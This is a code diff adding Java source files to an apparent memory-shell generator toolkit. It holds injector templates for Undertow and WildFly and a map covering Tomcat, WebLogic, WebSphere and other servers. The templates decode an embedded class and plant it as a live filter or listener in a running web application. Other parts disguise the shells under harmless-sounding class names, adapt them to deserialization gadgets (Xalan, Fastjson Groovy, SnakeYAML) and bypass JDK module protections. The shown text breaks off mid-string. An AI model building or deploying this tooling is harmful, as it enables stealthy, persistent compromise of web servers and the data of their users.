if (isInjected(context, getClassName())) {
return;
}
Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
Object deploymentInfo = getFV(context, "deploymentInfo");
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
Object deploymentImpl = getFV(context, "deployment");
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
} catch (Throwable e) {
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
for (Map.Entry<String, Object> filter : filters.entrySet()) {
Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
if (filterClass.getName().equals(evilClassName)) {
return true;
}
}
return false;
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,202 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class WildFlyListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new WildFlyListenerInjectorTpl();
}
public WildFlyListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
injectListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (int i = 0; i < threads.length; i++) {
try {
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) contexts.add(servletContext);
} catch (Exception ignored) {
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object deploymentInfo = getFV(context, "deploymentInfo");
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
}
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
// 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
// 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
public void injectListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
return;
}
Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
Object deploymentImpl = getFV(context, "deployment");
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
} catch (Throwable e) {
}
}
public boolean isInjected(Object context, String className) throws Exception {
List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
for (int i = 0; i < allListeners.size(); i++) {
Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
if (listener.getName().contains(className)) {
return true;
}
}
return false;
}
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,77 @@
package jmg.core.util;
import jmg.core.config.Constants;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
public class ClassNameUtil {
static String[] injectorClassNames = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
static String[] prefixNames = new String[]{"AbstractMatcher", "WebSocketUpgrade", "Session", "WhiteBlackList", "Log4jConfig", "SecurityHandler", "ContextLoader", "ServletContext", "ServletContextAttribute", "ServletRequest"};
public static String getRandomName(String[]... arrays) {
List<String> classNames = new ArrayList<>();
for (String[] array : arrays) {
for (String className : array) {
classNames.add(className);
}
}
Random random = new Random();
int index = random.nextInt(classNames.size());
return classNames.get(index);
}
public static String generateRandomString() {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(2) + 1; // 生成1-3之间的随机数
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
sb.append(c);
}
return sb.toString();
}
public static String getRandomInjectorClassName(){
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
}
public static String getRandomExtenderClassName(){
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
}
public static String getRandomLoaderClassName(){
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
}
public static String getClassPrefixName(){
return ClassNameUtil.getRandomName(prefixNames);
}
public static String getRandomShellClassName(String shellType) {
if (shellType.contains(Constants.SHELL_LISTENER)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener";
}
if (shellType.contains(Constants.SHELL_VALVE)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Valve";
}
if (shellType.contains(Constants.SHELL_INTERCEPTOR)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor";
}
if (shellType.contains(Constants.SHELL_WF_HANDLERMETHOD)){
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Handler";
}
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Filter";
}
}
@@ -0,0 +1,319 @@
package jmg.core.util;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.jMGCodeApi;
import me.gv7.woodpecker.tools.common.FileUtil;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.Random;
import java.util.regex.Pattern;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
public class CommonUtil {
// 合并两个数组
public static <T> T[] concatenateArrays(T[] array1, T[] array2) {
int length1 = array1.length;
int length2 = array2.length;
T[] result = Arrays.copyOf(array1, length1 + length2);
System.arraycopy(array2, 0, result, length1, length2);
return result;
}
public static void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
public static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
public static String generateRandomString() {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(5) + 2;
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
if (i == 0) {
c = Character.toUpperCase(c);
}
sb.append(c);
}
return sb.toString();
}
public static byte[] base64Decode(String var0) throws Exception {
byte[] var2 = null;
Class var1;
try {
var1 = Class.forName("java.util.Base64");
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, var0));
} catch (Exception var6) {
try {
var1 = Class.forName("sun.misc.BASE64Decoder");
Object var4 = var1.newInstance();
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, var0));
} catch (Exception var5) {
}
}
return var2;
}
public static String encodeBase64(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static String genRandomLengthString(int minLength) {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(6) + minLength;
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
if (i == 0) {
c = Character.toUpperCase(c);
}
sb.append(c);
}
return sb.toString();
}
public static String getRandomString(int length) {
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
SecureRandom random = new SecureRandom();
StringBuffer sb = new StringBuffer();
for (int i = 0; i < length; i++) {
int number = random.nextInt(52);
sb.append(str.charAt(number));
}
return sb.toString();
}
public static String getMd5(String text) throws NoSuchAlgorithmException {
MessageDigest md5 = MessageDigest.getInstance("MD5");
byte[] bytes = md5.digest(text.getBytes(StandardCharsets.UTF_8));
StringBuilder builder = new StringBuilder();
for (byte aByte : bytes) {
builder.append(Integer.toHexString((0x000000FF & aByte) | 0xFFFFFF00).substring(6));
}
return builder.toString();
}
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayInputStream inputStream = new ByteArrayInputStream(compressedData);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try (GZIPInputStream gzipInputStream = new GZIPInputStream(inputStream)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = gzipInputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead);
}
}
return outputStream.toByteArray();
}
public static byte[] getFileBytes(String file) throws Exception {
File f = new File(file);
int length = (int) f.length();
byte[] data = new byte[length];
(new FileInputStream(f)).read(data);
return data;
}
public static String getSimpleName(String className) {
int lastDotIndex = className.lastIndexOf(".");
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
return className.substring(lastDotIndex + 1);
}
return className;
}
public static String getFileOutputPath(String format_type, String class_simple_name, String output_path) {
String file_output_path = null;
String fileSeparator = File.separator;
File file = new File(output_path);
if (output_path.endsWith(".class") || output_path.endsWith(".jar") || output_path.endsWith(".jsp")) {
output_path = file.getParent();
}
String[] parts = output_path.split(Pattern.quote(fileSeparator));
boolean isFilePath = false; // 添加标记用于判断是否为文件路径
for (String part : parts) {
if (part.contains(".")) {
isFilePath = true;
break;
} else {
if (!output_path.endsWith(fileSeparator)) {
output_path = output_path + fileSeparator;
}
}
}
if (isFilePath) { // 如果是文件路径直接返回
File parentDir = file.getParentFile();
if (!parentDir.exists()) {
parentDir.mkdirs();
}
return file.getAbsolutePath();
}
File dir = new File(output_path);
if (!dir.exists() || !dir.isDirectory()) {
dir.mkdirs();
}
// 判断输出格式
switch (format_type) {
case Constants.FORMAT_CLASS:
file_output_path = output_path + class_simple_name + ".class";
break;
case Constants.FORMAT_JAR:
case Constants.FORMAT_JAR_AGENT:
file_output_path = output_path + class_simple_name + ".jar";
break;
case Constants.FORMAT_JSP:
file_output_path = output_path + class_simple_name + ".jsp";
break;
default:
break;
}
return file_output_path;
}
public static void transformExtenderToFile(AbstractConfig config) throws Throwable {
config.setJarClassName(config.getExtenderClassName());
config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getExtenderSimpleClassName(), config.getSavePath()));
jMGCodeApi codeApi = new jMGCodeApi(config);
FileUtil.writeFile(config.getSavePath(), codeApi.generate());
}
public static void transformToFile(AbstractConfig config) throws Throwable {
config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
jMGCodeApi codeApi = new jMGCodeApi(config);
FileUtil.writeFile(config.getSavePath(), codeApi.generate());
}
// base64/bcel/js/biginteger
public static String transformTotext(AbstractConfig config) throws Throwable {
jMGCodeApi codeApi = new jMGCodeApi(config);
return new String(codeApi.generate());
}
public static String getThrowableStackTrace(Throwable t) {
StringWriter stringWriter = new StringWriter();
PrintWriter printWriter = new PrintWriter(stringWriter);
t.printStackTrace(printWriter);
return stringWriter.toString();
}
}
@@ -0,0 +1,67 @@
package jmg.core.util;
import javassist.ClassPool;
import javassist.CtClass;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
/**
* 专项漏洞的处理
*/
public class CtClassUtil {
private AbstractConfig config;
private ClassPool pool;
private CtClass ctClass;
public CtClassUtil(AbstractConfig config, ClassPool pool, CtClass ctClass) {
this.config = config;
this.pool = pool;
this.ctClass = ctClass;
}
public byte[] modifyForExploitation() throws Exception {
if (config.getGadgetType() != null) {
if (config.getGadgetType().equals(Constants.GADGET_JDK_TRANSLET)) {
applyJDKAbstractTranslet();
}
if (config.getGadgetType().equals(Constants.GADGET_XALAN_TRANSLET)) {
applyXALANAbstractTranslet();
}
if (config.getGadgetType().equals(Constants.GADGET_FJ_GROOVY)) {
applyFastjsonGroovyASTTransformation();
}
if (config.getGadgetType().equals(Constants.GADGET_SNAKEYAML)) {
applySnakeYamlScriptEngineFactory();
}
}
return ctClass.toBytecode();
}
public void applyJDKAbstractTranslet() throws Exception {
JavassistUtil.extendClass(ctClass, "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
}
public void applyXALANAbstractTranslet() {
try {
JavassistUtil.extendClass(ctClass, "org.apache.xalan.xsltc.runtime.AbstractTranslet");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
// Fastjson Groovy loadJar 的利用需要实现 ASTTransformation 接口
public void applyFastjsonGroovyASTTransformation() throws Exception {
config.setImplementsASTTransformationType(true);
JavassistUtil.implementInterface(ctClass,"org.codehaus.groovy.transform.ASTTransformation");
JavassistUtil.addAnnotation(ctClass, "org.codehaus.groovy.transform.GroovyASTTransformation");
}
// snakeyaml loadJar 的利用需要实现 ScriptEngineFactory 接口
public void applySnakeYamlScriptEngineFactory() throws Exception {
config.setImplementsScriptEngineFactory(true);
JavassistUtil.implementInterface(ctClass, "javax.script.ScriptEngineFactory");
}
}
@@ -0,0 +1,135 @@
package jmg.core.util;
import jmg.core.config.Constants;
import jmg.core.template.*;
import java.util.HashMap;
import java.util.Map;
public class InjectorUtil {
private static final Map<String, String> INJECTOR_CLASSNAME_MAP = new HashMap();
private static final Map<String, Map<String, String>> classMap = new HashMap();
public InjectorUtil() {
}
public static String getInjectorName(String serverType, String shellType) {
Map<String, String> injectorMap = (Map) classMap.get(serverType);
return injectorMap == null ? "" : injectorMap.getOrDefault(shellType, "");
}
public static String getInjectorClassName(String injectorName) throws Exception {
if (INJECTOR_CLASSNAME_MAP.get(injectorName) == null) {
throw new Exception("Invalid injector type '" + injectorName + "'");
} else {
return INJECTOR_CLASSNAME_MAP.getOrDefault(injectorName, "");
}
}
static {
INJECTOR_CLASSNAME_MAP.put("ApusicListenerInjector", ApusicListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("ApusicFilterInjector", ApusicFilterInjectorTpl.class.getName());
Map<String, String> apusicMap = new HashMap();
apusicMap.put(Constants.SHELL_LISTENER, "ApusicListenerInjector");
apusicMap.put(Constants.SHELL_FILTER, "ApusicFilterInjector");
classMap.put(Constants.SERVER_APUSIC, apusicMap);
INJECTOR_CLASSNAME_MAP.put("BESListenerInjector", BESListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("BESFilterInjector", BESFilterInjectorTpl.class.getName());
Map<String, String> besMap = new HashMap();
besMap.put(Constants.SHELL_LISTENER, "BESListenerInjector");
besMap.put(Constants.SHELL_FILTER, "BESFilterInjector");
classMap.put(Constants.SERVER_BES, besMap);
INJECTOR_CLASSNAME_MAP.put("InforSuiteListenerInjector", InforSuiteListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("InforSuiteFilterInjector", InforSuiteFilterInjectorTpl.class.getName());
Map<String, String> inforsuiteMap = new HashMap();
inforsuiteMap.put(Constants.SHELL_LISTENER, "InforSuiteListenerInjector");
inforsuiteMap.put(Constants.SHELL_FILTER, "InforSuiteFilterInjector");
classMap.put(Constants.SERVER_INFORSUITE, inforsuiteMap);
INJECTOR_CLASSNAME_MAP.put("TongWebListenerInjector", TongWebListenerInjectorTpl.class.getName());
Map<String, String> tongwebMap = new HashMap();
tongwebMap.put(Constants.SHELL_LISTENER, "TongWebListenerInjector");
classMap.put(Constants.SERVER_TONGWEB, tongwebMap);
INJECTOR_CLASSNAME_MAP.put("GlassfishListenerInjector", GlassFishListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("GlassfishFilterInjector", GlassFishFilterInjectorTpl.class.getName());
Map<String, String> glassfishMap = new HashMap();
glassfishMap.put(Constants.SHELL_LISTENER, "GlassfishListenerInjector");
glassfishMap.put(Constants.SHELL_FILTER, "GlassfishFilterInjector");
classMap.put(Constants.SERVER_GLASSFISH, glassfishMap);
INJECTOR_CLASSNAME_MAP.put("JettyListenerInjector", JettyListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("JettyFilterInjector", JettyFilterInjectorTpl.class.getName());
Map<String, String> jettyMap = new HashMap();
jettyMap.put(Constants.SHELL_LISTENER, "JettyListenerInjector");
jettyMap.put(Constants.SHELL_FILTER, "JettyFilterInjector");
classMap.put(Constants.SERVER_JETTY, jettyMap);
INJECTOR_CLASSNAME_MAP.put("ResinListenerInjector", ResinListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("ResinFilterInjector", ResinFilterInjectorTpl.class.getName());
Map<String, String> resinMap = new HashMap();
resinMap.put(Constants.SHELL_LISTENER, "ResinListenerInjector");
resinMap.put(Constants.SHELL_FILTER, "ResinFilterInjector");
classMap.put(Constants.SERVER_RESIN, resinMap);
INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("TomcatValveInjector", TomcatValveInjectorTpl.class.getName());
Map<String, String> tomcatMap = new HashMap();
tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
tomcatMap.put(Constants.SHELL_JAKARTA_LISTENER, "TomcatListenerInjector");
tomcatMap.put(Constants.SHELL_JAKARTA_FILTER, "TomcatFilterInjector");
tomcatMap.put(Constants.SHELL_VALVE, "TomcatValveInjector");
classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
INJECTOR_CLASSNAME_MAP.put("UndertowListenerInjector", UndertowListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("UndertowFilterInjector", UndertowFilterInjectorTpl.class.getName());
Map<String, String> undertowMap = new HashMap();
undertowMap.put(Constants.SHELL_LISTENER, "UndertowListenerInjector");
undertowMap.put(Constants.SHELL_FILTER, "UndertowFilterInjector");
classMap.put(Constants.SERVER_UNDERTOW, undertowMap);
INJECTOR_CLASSNAME_MAP.put("WebLogicListenerInjector", WebLogicListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("WebLogicFilterInjector", WebLogicFilterInjectorTpl.class.getName());
Map<String, String> weblogicMap = new HashMap();
weblogicMap.put(Constants.SHELL_LISTENER, "WebLogicListenerInjector");
weblogicMap.put(Constants.SHELL_FILTER, "WebLogicFilterInjector");
classMap.put(Constants.SERVER_WEBLOGIC, weblogicMap);
INJECTOR_CLASSNAME_MAP.put("WebSphereListenerInjector", WebSphereListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("WebSphereFilterInjector", WebSphereFilterInjectorTpl.class.getName());
Map<String, String> websphereMap = new HashMap();
websphereMap.put(Constants.SHELL_LISTENER, "WebSphereListenerInjector");
websphereMap.put(Constants.SHELL_FILTER, "WebSphereFilterInjector");
classMap.put(Constants.SERVER_WEBSPHERE, websphereMap);
INJECTOR_CLASSNAME_MAP.put("JBossListenerInjector", TomcatListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("JBossFilterInjector", TomcatFilterInjectorTpl.class.getName());
Map<String, String> jbossMap = new HashMap();
jbossMap.put(Constants.SHELL_LISTENER, "JBossListenerInjector");
jbossMap.put(Constants.SHELL_FILTER, "JBossFilterInjector");
classMap.put(Constants.SERVER_JBOSS, jbossMap);
INJECTOR_CLASSNAME_MAP.put("SpringMVCInterceptorInjector", SpringMVCInterceptorInjectorTpl.class.getName());
Map<String, String> springMVCMap = new HashMap();
springMVCMap.put(Constants.SHELL_INTERCEPTOR, "SpringMVCInterceptorInjector");
classMap.put(Constants.SERVER_SPRING_MVC, springMVCMap);
INJECTOR_CLASSNAME_MAP.put("SpringWebFluxHandlerMethodInjector", SpringWebFluxHandlerMethodInjectorTpl.class.getName());
Map<String, String> springWebFluxMap = new HashMap();
springWebFluxMap.put(Constants.SHELL_WF_HANDLERMETHOD, "SpringWebFluxHandlerMethodInjector");
classMap.put(Constants.SERVER_SPRING_WEBFLUX, springWebFluxMap);
}
}
@@ -0,0 +1,23 @@
package jmg.core.util;
// https://github.com/BeichenDream/Kcon2021Code/tree/master/bypassJdk
public class JDKBypassUtil {
public static String bypassJDKModuleBody() throws Exception {
return "{try {\n" +
" Class unsafeClass = Class.forName(\"sun.misc.Unsafe\");\n" +
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" +
" unsafeField.setAccessible(true);\n" +
" Object unsafe = unsafeField.get(null);\n" +
" java.lang.reflect.Method getModuleM = Class.class.getMethod(\"getModule\", new Class[0]);\n" +
" Object module = getModuleM.invoke(Object.class, (Object[]) null);\n" +
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", new Class[]{java.lang.reflect.Field.class});\n" +
" java.lang.reflect.Field moduleF = Class.class.getDeclaredField(\"module\");\n" +
" Object offset = objectFieldOffsetM.invoke(unsafe, new Object[]{moduleF});\n" +
